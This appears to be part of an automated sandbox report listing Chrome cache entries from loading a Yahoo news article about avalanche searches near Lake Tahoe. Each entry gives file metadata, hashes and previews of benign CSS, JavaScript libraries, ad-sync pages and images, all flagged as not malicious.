URL:	"https://www.yahoo.com/caas/content/article/?uuid=56cff8b5-f715-383b-bccf-0ae1c993368c,1315330a-fbeb-3a39-872e-a34c415ed2dc,7635f4d4-18ff-4443-86bc-3d28dfde6f60,8e419b22-4336-45cd-b717-dcbd8c920d50,4714ebb9-b723-32cc-972e-f333df6ab351,37846fc9-24c6-3e14-89b3-d0b87b71d5cb,f5b365a0-db09-39f8-8a63-b84ab4cb54c7,f0a98bd0-f332-3f2b-8af3-baaf55540e63,9e9e9cd9-64ca-3d4c-b68b-6ea37f24194a,1ad61db1-8b32-3197-bf5c-335ccd0ba90a&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicProviderListv2-copy,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA,enableXrayInline,enableXrayMovieEntities,enableXrayNcp,enableXrayPeopleEntities,enableXrayTopicEntities,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback&rid=0gast8pipu9uc"
Preview:	{"items":[{"data":{"partnerData":{"adMeta":{"hashtag":"weather;natureandenvironment","isSupplySegment":"false","lang":"en-US","region":"US","rs":"lmsid:a0ad000000EcS4OAAV;revsp:ap.org;lpstaid:56cff8b5-f715-383b-bccf-0ae1c993368c;pt:content;pd:modal;ver:megastrm;pct:story","site_attribute":"wiki_topics=\"Palisades_Tahoe;Lake_Tahoe;Avalanche;Alpine_Meadows_%28ski_resort%29;Reno,_Nevada\" ctopid=\"1985000;12818000\" hashtag=\"1985000;12818000\" rs=\"lmsid:a0ad000000EcS4OAAV;revsp:ap.org;lpstaid:56cff8b5-f715-383b-bccf-0ae1c993368c;pt:content;pd:modal;ver:megastrm;lu:0;pct:story\"","spaceid":"1197792446","site":"news","enabled":true,"pos":"","showBodyAds":false,"showPhotoAds":true},"alias":"ymedia-alias:shadow=searches-under-way-following-avalanche-193736273","canonicalUrl":"https://news.yahoo.com/searches-under-way-following-avalanche-193736273.html","categoryLabel":"U.S.","commentsAllowed":true,"commentsCount":0,"contentMeta":{"adPostions":{"photos":{"sponsored":11},"INARTICLE":3},"bodyS

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65534), with no line terminators
Category:	downloaded
Size (bytes):	204597
Entropy (8bit):	4.902107144976425
Encrypted:	false
SSDEEP:	1536:4CwtS88O68yc0bp0pMkpM7LFIYYdvvbLwLZSfTe+H3o13af:ytS88O65b2
MD5:	C56DC58E7FEFFF3E49EDB406370CC132
SHA1:	97A7F1A0B69C14B2882BBE99011F373C227B014F
SHA-256:	BEAE8CC0E4ADA056978D35C101D593F061D84CE2839173D876519CC9E4DE20BD
SHA-512:	37B5F7EC4BEDCAFE76C9099440043C1CE5CBCD14447BB842B82669E0D53D73F4133CC36C636F2F7E6785E610B110301F88BD81E72AC6127216141E0949D30010
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/c/97a7f1a.caas-news_web.min.css
Preview:	@keyframes slideUp{0%{transform:translateY(200%)}to{transform:translateY(0)}}@keyframes adhide{0%{visibility:visible}to{visibility:hidden}}@keyframes show-success-message{0%{opacity:0;transform:translateY(10px)}80%{opacity:1;transform:translateY(0)}to{opacity:0;transform:translateY(-10px)}}@keyframes immersive-share-appear-in{0%{opacity:0}to{opacity:1}}@keyframes fade{0%{opacity:1}to{opacity:0}}@keyframes shine{0%,to{opacity:1}50%{opacity:.5}}@keyframes wave{0%,60%,to{transform:initial}30%{transform:translateY(-4px)}}@keyframes inlineXrayTooltipFadeIn{0%{opacity:0}to{opacity:1}}@keyframes liveBadgePulse{0%{transform:scale(.43,.43);opacity:1}to{transform:scale(1,1);opacity:0}}@keyframes ellipsesAnimation{0%,30.43%{content:"."}34.78%,65.21%{content:".."}69.56%,to{content:"..."}}@keyframes loader-animate{0%{transform:translate3d(-100%,0,0)}to{transform:translate3d(100%,0,0)}}@font-face{font-family:"YahooSerifDisplay";src:local("Yahoo Serif Display"),url(https://s.yimg.com/cv/apiv2/default

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (1869), with no line terminators
Category:	downloaded
Size (bytes):	1869
Entropy (8bit):	5.352350819426143
Encrypted:	false
SSDEEP:	24:kRoBfiF1cqSYbpKBG6FSPNSY0GLSYmKOPgEdcYSY3O3SYEKafqSY3uMrSYfISYnb:koBfiF19KBpKDmRF/32v3/2Ut+Tt
MD5:	B9BEE9442B94B58C2867ACC79890AB9A
SHA1:	31DE7C12B0993E8CAA60E0846EAFE86866EC2D09
SHA-256:	6BA4CB8C40386C7663A848C8871AB433955A95B1028B74179F600EBB718891DA
SHA-512:	E6F74369863134083E694287BB5BCA4C9276586A511990C442832B3107393F42151FBC02E984D7BA0DD5DC06735E9C7B59DFE594730BAE63B11BB971E930D7D3
Malicious:	false
Reputation:	low
URL:	https://ssum-sec.casalemedia.com/usermatch?cb=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fgpp%3D%26gpp_sid%3D%26cs%3D1%26vsid%3D3479308310180275000V10%26type%3Didx%26refUrl%3D%26vid%3D49292349683479308310180275000V10%26axid_e%3D%26ovsid%3D_UID_&gdpr=0&gdpr_consent=&gpp=&gpp_sid=&s=183875&C=1
Preview:	<html><head><title></title></head><body><img src="https://cm.g.doubleclick.net/pixel?google_nid=index&google_cm&google_hm=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB&gdpr_consent=&us_privacy=&gdpr=&gpp=&gpp_sid=" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://dsum-sec.casalemedia.com/rrum?ixi=1&cm_dsp_id=85&cb=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dcasale_media2_dbm%26google_cm%26google_sc%26google_hm%3D" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://match.adsrvr.org/track/cmf/casale" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://s.amazon-adsystem.com/dcm?pid=78af914c-e755-4b90-bded-1b172aedc763&us_privacy=&gdpr=&gdpr_consent=&id=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB&gpp=&gpp_sid=" style="display:none" width="0" height="0" alt="" border="0" /><img src="https://p.rfihub.com/cm?in=1&pub=2079" style="display:none" width="0"

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 536x284, components 3
Category:	dropped
Size (bytes):	41093
Entropy (8bit):	7.974946850998404
Encrypted:	false
SSDEEP:	768:F5MN1Bu/aOXMTpUCHIRy0jsqMjtuxx+yWqprWXRnlTdtA0+FfgIA6lDgh/vLl:FeCaO0pn859aa+5PlRuBmmg9Ll
MD5:	E32710F6ED7DACCF655992A6019FEE88
SHA1:	BEBA64EDF5670038FB586725B53696A080C622D7
SHA-256:	799A0071DF27FDE6FEAB93988C05EB3D4DA6C827E88C969166CD1FFAEC87423D
SHA-512:	0C848DF7CD1D7F6BBD37264F36DE4ABB55E62DEB0E72A7FC50612F841A2CDB6657F14B13F783E7F40DE6E4186B1701AF6A520ED4940178BFF429BEEC09CC27F4
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C......................................................................................................................T.........................!..1..AQa."q.#2......BCR.$3br..&DScs.....'4Tt.6...%57d...................................2........................!.1.."#2A3.$4Q.BCDaq.Rb.............?.14..<...c.?.h.2#.].G/.. .c.sC!.V.i..l.m9.MB.0.4...^.V.p..4..H.`..x.5.._..J...DN%F.\|..)..z....$n...l..s...h...N5:..l....~.L.i....&.....>...m1w...m..4....b..;..%.1.j1.f...(.ZV..IOM...!....A.....@.....y.JJ]{...T...v..AKJXp..."f.O].a...XP..E....[...$..X.."j.Mg.Z...>;....V.wy.-.\.]3fb]....P..j.E.3y..H..5.... 8..=./`...L.].S..GJ........w..Y.i.a.+.3h...jH..AhB..6'.PJi.F<._J../.V..R..'1.#...Y..u.:+.m.p.i.` ....J......(..+y........7%..\.Kk4]`...8.I.>./e!.U............}.z..{T:....G.yrW1.;.z...{%Z...W6...n.S.B.'......B....}..]..T...e....Sm$...cO.f..*.W..6..f.U......6...

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 1-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	95
Entropy (8bit):	4.347811435468635
Encrypted:	false
SSDEEP:	3:yionv//thPlE+kSI+Dtmy/Y+sR3Qhl/Y3WlED//jp:6v/lhPfkCDtmywFghu3WlEDTp
MD5:	71A50DBBA44C78128B221B7DF7BB51F1
SHA1:	0EC63B140374BA704A58FA0C743CB357683313DD
SHA-256:	3EB10792D1F0C7E07E7248273540F1952D9A5A2996F4B5DF70AB026CD9F05517
SHA-512:	6AD523F5B65487369D305613366B9F68DCDEEE225291766E3B25FAF45439CA069F614030C08CA54C714FDBF7A944FAC489B1515A8BF9E0D3191E1BCBBFE6A9DF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............%.V.....PLTE....z=.....tRNS.@..f....IDAT..c`.......!.3....IEND.B`.

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 240 x 34, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2331
Entropy (8bit):	7.732123200569469
Encrypted:	false
SSDEEP:	48:HCPVHbdLb/levTWdqgmGYDQpuYpdKqLxoh5F:HCNHxL4O0QpXKqOt
MD5:	D0E45188F6A8F2E8F2528E762FE55D33
SHA1:	42A007181ABDADCC4C79D03D74B08F39DDDC5127
SHA-256:	DEB2DC4C95EA5B692229713672E7AEAE32B3914BAFCD63F926116D6637BD1976
SHA-512:	0FD2F174A63472217D8BC23DE69DCBCAA1A583DED45152430D1A5BA455F6B1F360815DB34B5C8F96DA7DAAE232DB52197775F7F50955F497D6B664EB93B58800
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/cv/apiv2/yahoo_weather_web/accuweather-horizontal.png
Preview:	.PNG........IHDR.......".....V}.....{PLTE............................................................................................................................x.....(tRNS....!.k6...L........)....Y..D..q>.wdS_._.D...'IDATh..Y.0.M............!.^..z.....&.d.......,...@.....m.&x..l....M.-.k4....kZa.........Y..F....=I..jx.C..H..W......e....o.oO.\|..D..?#.D.{~..own...S.........7..K.....<...nA..~.8."q.@....C2...j...>..t}....(..M..@^....a..x..~J8.n{.G..b$..m_%.Y.........X.X)..Y.b.qk..].....`z...1=...vu..dj..7c').h....L..0.+eBC...S.....jyzb.\.........3G1K..`..{Kl..{_%....F.....g....h.)n..F...-&...K....)6...hV.e.#3.N..O,.....~'..s....SZ..!.).0..u.....v.1.....<...F...O.O...@....Bk.j.8[.D.4Y.5...h.-..:dAIzn.)>...\..1.....s.#[.{.....}.+.3....T.w..F.#.aaa.....7.5..QR...Q....].#..n....R..`,q...n..B:..4...=.w.../..fNN...<.P..j.U...D...c.T.(.R.X8..~el..>.h.]]5\....6.-...9#.$.:..a6..1.U..`L.4.%...v....+D.eN.znm....v...H..T....o...;)X.\..0...x..5}B...Q.

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4365), with no line terminators
Category:	downloaded
Size (bytes):	4365
Entropy (8bit):	5.145735525465993
Encrypted:	false
SSDEEP:	96:3hNzEpwq1krLq1Jr/9Ipefr4qN1lnA7O39IptQbmGMakwQy+p:3zEwuuLul/2pefN1lAC32Aa/akty+p
MD5:	9D2A8EFBE3FE9705E54DF41100EA2DAE
SHA1:	9CA39F309735BE4BDA4D6CE2D01C5F0857BD8E67
SHA-256:	F59452BBA989E5A78E9492AE296CBF910745529C3294B49A58EFA4EC7EBA8D45
SHA-512:	5D460C83F9DD30038422F843C68D1BE812E3006395355122BBA8E8608822B9751D2800FE024C85276FA36130D787364CF6CFAF333F9C0D3CC6FC2E3DEC796775
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-clipboard-copy-1.0.2-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-clipboard-copy",[],t):"object"==typeof exports?exports["wafer-clipboard-copy"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-clipboard-copy"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(r){if(o[r])return o[r].exports;var n=o[r]={i:r,l:!1,exports:{}};return e[r].call(n.exports,n,n.exports,t),n.l=!0,n.exports}var o={};return t.m=e,t.c=o,t.d=function(e,o,r){t.o(e,o)\|\|Object.defineProperty(e,o,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var o=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(o,"a",o),o},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,o){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a cl

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 356x180, components 3
Category:	dropped
Size (bytes):	14247
Entropy (8bit):	7.963688625260526
Encrypted:	false
SSDEEP:	384:237yuSCrlh5HCy4IQIEHTQ7+EGFXJdPP/Q:2LTSalhpV4IQTzQoFPXQ
MD5:	7B3DAA376DCC566E9E75437ADAA9CDDF
SHA1:	0CE66A336D9DDA5B70DD13EF58BC727965F36F1E
SHA-256:	D4C56B9E389E672E7592C3BFA7796D25F2CC0EAEC40DC8610DFA223D67D7EE57
SHA-512:	4EE0739EB01CB9A041969C03BAC974A0B3D3A55B6699259665396DC7525997D8EA8C4C4CC2A3301A3AA0FB69F8331C39DA73C54CC13F9C9BBCB49F7C8B96C534
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C....................................................................C.........................................................................d............................................B..........................!1..A"Qaq..23B...#4..$Rb.......r..CDS.................................+......................!..1.A.."Q.#23..$Ca............?..T...a..k\|D.........(..!Y.p.7S.K@.-.^O.8..kf....5$.aJ.. u..r...J..a.T,Tbn"2...U\.2.-Z..[...2..]b{D.....'.iq#&. fM....1.........?..HFTX..5.....t{>.......Sm-....v..P X..@..o..~.^.9Q.&...bBRM.y...hf2.\|...J..+..t.... ...... .cL.X..p..&.......E7..^.....B...n.j2/K.....=Gq.....W9.-.=..}bz..NTR...n....Q....n)....8o...../...05I?7...;...l..h0...$@....etyE@..r.!.q{C.&..!...^....J.....q:...WO.....-.U...a....B.^.W...Fe.....Y...]=.F...yx.Kk.....;Z..\......F..r.4`.........S2..Qk..FH...Y9r..\.....0..h...M.&...#.\.E#.JF...E.$^..c...E\.G>.o.b..L.....HfW&. .(.n.I.-.......iDl~...y>....y..2S^O..o..!Vo1pC0..).z

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 300 x 250, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	104986
Entropy (8bit):	7.995481765981253
Encrypted:	true
SSDEEP:	3072:C9yxnyABnk/Gk3NyWyNI756SMO26BSC1e:pJbmIruUSMPD
MD5:	F9316EB66293A34067CB7616B7360E35
SHA1:	00FFEBA447DD14350CC7809DBED5E3B5D3641514
SHA-256:	287BDC817C33CF97B8E598EF498365986E2FFF53EB7A08EFE403F489305C74BA
SHA-512:	75727F5EDA7AE89CBF068CF80F40B70F76D7404F9F9337B7F470135B92B193FDEAD798AE279A5346233BDA4152B76250C891AE3B3B57AA13B984EAF3F21CC864
Malicious:	false
Reputation:	low
URL:	https://tpc.googlesyndication.com/simgad/1492775076432722859
Preview:	.PNG........IHDR...,..........mz.....gAMA......a....IiCCPsRGB IEC61966-2.1..H..SwX...>..e.VB..l.."#....Y....a...@...V....HU...H...(.gA..Z.U\8....}z...........y.....&..j.9R.<:...OH.....H.. ....g......yx~t.?...o...p..$......P&W. ...".....R...T.......S.d.....ly\|B"......I>................(G$.@..`U.R,......@"......Y.2G.....v.X..@`...B,.. 8..C.... L..0.._p..H.....K.3.....w....!..l.Ba.).f.."...#.H..L.........8?......f.l....k.o">!.........N..._....p...u.k.[..V.h..]3...Z..z..y8.@...P.<......%b..0.>.3.o..~..@...z..q.@......qanv.R....B1n..#.....)..4.\,...X..P"M.y.R.D!.....2......w....O.N....l.~.....X.v.@~.-......g42y.......@+..........\...L....D..*.A..............a.D@.$.<.B.......A.T.:.............18....\..p..`........A...a!:..b.."......"aH4... ..Q"..r...Bj.]H#.-r.9.\@.... 2....G1...Q...u@......s.t4.]...k....=.....K.ut.}..c..1.f..a\..E`.X.&..c.X5V.5c.X7v....a..$......^...l...GXLXC.%.#....W...1.'"..O.%z...xb:..XF.&.!.!.%^'.._.H$...N.!%.2I.IkH.H-.S.>..i.L&.m....... ......O.

Chrome Cache Entry: 312

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.7374910194847146
Encrypted:	false
SSDEEP:	3:CUnl/7yltxlHh/:/+/
MD5:	07FFF40B5DD495ACA2AC4E1C3FBC60AA
SHA1:	E8AC224BA9EE97E87670ED6F3A2F0128B7AF9FE4
SHA-256:	A065920DF8CC4016D67C3A464BE90099C9D28FFE7C9E6EE3A18F257EFC58CBD7
SHA-512:	49B8DAF1F5BA868BC8C6B224C787A75025CA36513EF8633D1D8F34E48EE0B578F466FCC104A7BED553404DDC5F9FAFF3FEF5F894B31CD57F32245E550FAD656A
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 313

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8333), with no line terminators
Category:	downloaded
Size (bytes):	8333
Entropy (8bit):	5.145631905508549
Encrypted:	false
SSDEEP:	192:36umTu6tHB4A+gQ/cRM+OqBFgTtuSd0Vo5L50+AjKHdQ2Y8:31mi6BBL+1WByRuSd0Vo5aK3Y8
MD5:	76AEB54211FCA21EC7F4F9A39B1D88D1
SHA1:	83D1BB0D1C280D5477EE4215BCDE68C4603F027B
SHA-256:	33D8BFDA78C83DE19751EC84E1D7F40DC5D7C81E7FB822069F811A9030D2D459
SHA-512:	444578A2F4A842A4590966D1970C9AF248FB070856243916E73BA5AB7825078ABB97E131F7AE5858FD3894FDF8BB2986239427BD20ACF917DC27675E0A267507
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-menu-1.3.0-modern.js
Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-menu",[],t):"object"==typeof exports?exports["wafer-menu"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e.wafer.wafers["wafer-menu"]=t())}("undefined"!=typeof self?self:this,function(){return function(e){function t(r){if(n[r])return n[r].exports;var o=n[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,t),o.l=!0,o.exports}var n={};return t.m=e,t.c=n,t.d=function(e,n,r){t.o(e,n)\|\|Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:r})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},t.p="https://s.yimg.com/aaq/wf/",t(t.s="./src/entry.js")}({"./src/entry.js":function(e,t,n){"use strict";function r(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function o

Chrome Cache Entry: 314

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (15907), with no line terminators
Category:	downloaded
Size (bytes):	15907
Entropy (8bit):	5.514273213911923
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncM:jAJ00JnLOH4ZjhwDi2+0s9R
MD5:	AE79DB664406C9254F4F32DAF70C93AC
SHA1:	FAE0AE1FCEB99F996F315545F1C75EB04939B20C
SHA-256:	8E53E50181B7A9E2CAA94173C37FCD9DE8FA75750764A2AD8AD02FAC3306D652
SHA-512:	FBD5EC409CE57592EFF6BDFB2DF69C2414A79D84CB9B1BE5B6C5110985A0FF4D192B7D31160D9F14F3E3DBA21628129ECF9BC925597F968AC1CF6DF849346AF6
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?kdntuid=1&p=0&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 260 x 340
Category:	dropped
Size (bytes):	539840
Entropy (8bit):	7.950660003114956
Encrypted:	false
SSDEEP:	12288:OqzGmFxefUFk3+6w/AuS4Hf0FzU/VF4HxHi1u2k0SwU1TKd5I/Z+aC10n/:OqzGmfeMFF6buloUNGicgd8+J0n/
MD5:	2FB9D43C74752389405ABC1A5814B44A
SHA1:	BD551A3693F34693083D37EEE3113D667CE4F3C4
SHA-256:	7A18441E184306E7F51C5493C0C17F676C73E12F518DC468DCB565B25D90FC41
SHA-512:	D0CED802BD8B03554E538D1316CC37EEFA4E0CBA33E54242BA36F4C1A3D1B991135208B54064499E571A21562AEFC67DBBE691B38E333148CCAB2518B229AA80
Malicious:	false
Reputation:	low
Preview:	GIF89a..T.......................................................................U..R..Q..O........K..M..N..N..O..P..Q..Q..S..U..N................^<.mC.N..O..L".Q..S..[..M.....d.d?...pA.iM.h/.i........f...........................................................................................................w..o.rW.S..U..O..Q..S..^$.`0.M..N..O.....................}.hN.X5.X..o>.U..S..P..R..N...n.M..Q.............M%.W..r5..W..P..e..d.Y4.._&.Z$......v._=.^,.pR.Y#.kB.f5.}.O....R..S..S..}D............`@.hC.`3.....^5.U$.X..M"....M..U%.U!.a4.M..Q..M .N..N..Q..O..O..Q..P..U..U.........hD.w\...^<.uR.`1.z.]2.Z+.~.X).vQ.W..k...U..P...b.P...v.t.W..v..V.].pP...P..X"....X.{U........X,.f.v`.....^..vQ.L..L.....N).jN.\|].N..{N.qO.................!..NETSCAPE2.0.....!.)Optimized with https://ezgif.com/optimize.!.......,......T....................H........L..............L.....J.....j..........N....................(8HXhx..........)9IYiy..........*:JZjz

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11916), with no line terminators
Category:	downloaded
Size (bytes):	11916
Entropy (8bit):	5.106072940867814
Encrypted:	false
SSDEEP:	192:ggQD+5sW7GECHay2/WIc3yAWRvrhAo1ti:ggQD+5sW7GECHaXciAWR8
MD5:	2E4E77B384B1A1D1553D1CEF9A70565F
SHA1:	D27DAAAF2476E33579E148E408D053C4514D00AD
SHA-256:	2955973A8691B04C0C5350DED5F895DBED330A3EFEDE8F338BF68B869F27CC6D
SHA-512:	998E632EB9DFC0880DBCBB94E1AFE80B5686FF0253022DB024BEA97F32CD795026F336386FF556FFC7BAE9CBE5CB4B8FF7BA3B5B4DCCF92B509DC0DDB16B052A
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/aaq/wf/wf-loader-2.6.216-modern.js
Preview:	!function(a,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("wafer-loader",[],e):"object"==typeof exports?exports["wafer-loader"]=e():(a.wafer=a.wafer\|\|{},a.wafer.wafers=a.wafer.wafers\|\|{},a.wafer.wafers["wafer-loader"]=e())}("undefined"!=typeof self?self:this,function(){return function(a){function e(w){if(r[w])return r[w].exports;var f=r[w]={i:w,l:!1,exports:{}};return a[w].call(f.exports,f,f.exports,e),f.l=!0,f.exports}var r={};return e.m=a,e.c=r,e.d=function(a,r,w){e.o(a,r)\|\|Object.defineProperty(a,r,{configurable:!1,enumerable:!0,get:w})},e.n=function(a){var r=a&&a.__esModule?function(){return a.default}:function(){return a};return e.d(r,"a",r),r},e.o=function(a,e){return Object.prototype.hasOwnProperty.call(a,e)},e.p="https://s.yimg.com/aaq/wf/",e(e.s="./src/entry.js")}({"../../manifest.json":function(a,e){a.exports={"wafer-account-switch":{meta:{version:"1.1.7"},modern:{min:"/aaq/wf/wf-account-switch-1.1.7-moder

Chrome Cache Entry: 317

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 318

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.292508224289396
Encrypted:	false
SSDEEP:	3:CUmExltxlSle:JAle
MD5:	55FADE2068E7503EAE8D7DDF5EB6BD09
SHA1:	317496A096D6C86486A71D4521994BCD171A6BB3
SHA-256:	E586A84D8523747F42E510D78E141015B6424CF67D612854E892A7BCEDC8EC9E
SHA-512:	A9ADB9FEEA4BC14B9C34ED17CD30F8CB36DC686E9F69A292FE65BEBC195BE4714391FD98EC7B67BFD363FBBB6089C41A0B7CAB5130B50B461748E668CAC75621
Malicious:	false
Reputation:	low
URL:	https://a.tribalfusion.com/i.match?p=b11&redirect=https%3A//simage2.pubmatic.com/AdServer/Pug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTMzMjYmdGw9MTI5NjAw%26piggybackCookie%3D%24TF_USER_ID_ENC%24&u=${PUBMATIC_UID}
Preview:	GIF89a.............!.......,........@..D..;

Chrome Cache Entry: 319

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.5257351171929923
Encrypted:	false
SSDEEP:	3:CUEIHh/:i4/
MD5:	13E1C7A2184E36D7AE519E99B1AA226F
SHA1:	355CCAD4EAC39838E1CC76FD0B670FD2EA1E5AA3
SHA-256:	48A33CA9F42B91902D57AD8AC52E1CE32B92C8C10C732F2DBB6FE960EBFD9438
SHA-512:	B1A6CFA7B21DBB0B281D241AF609F3BA7F3A63E5668095BBA912BF7CFD7F0320BAF7C3B0BFABD0F8609448F39902BAEB145BA7A2D8177FE22A6FCEA03DD29BE1
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 320

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	51222
Entropy (8bit):	5.365709914277346
Encrypted:	false
SSDEEP:	768:DCDLVVI4DFtXHdj9bnpbrUAjrs86InWw4IpdIp9FL92ed8HysJm9Sf2TDN:2h+4bHd5bpcAjwIh4Ip2p2Q8HyWmF
MD5:	B3E320952536A9E017D8FDE91F2C4968
SHA1:	523FD3A45748EF2FCECC6423E11C7699F42D3D8D
SHA-256:	1236E3D07C5BE99605A2CE51CF62277390130D7E1666E31757C7182173C31F1C
SHA-512:	B28C802BDCDC300FD13A0C2F5B3B5D913C55651FCF182C34FC64085C0B16B47176943DB423250A24773CBD2F5957D50BD08D220EEA924349DB49F45E5DC32424
Malicious:	false
Reputation:	low
URL:	https://s.yimg.com/ss/rapid-3.53.38.js
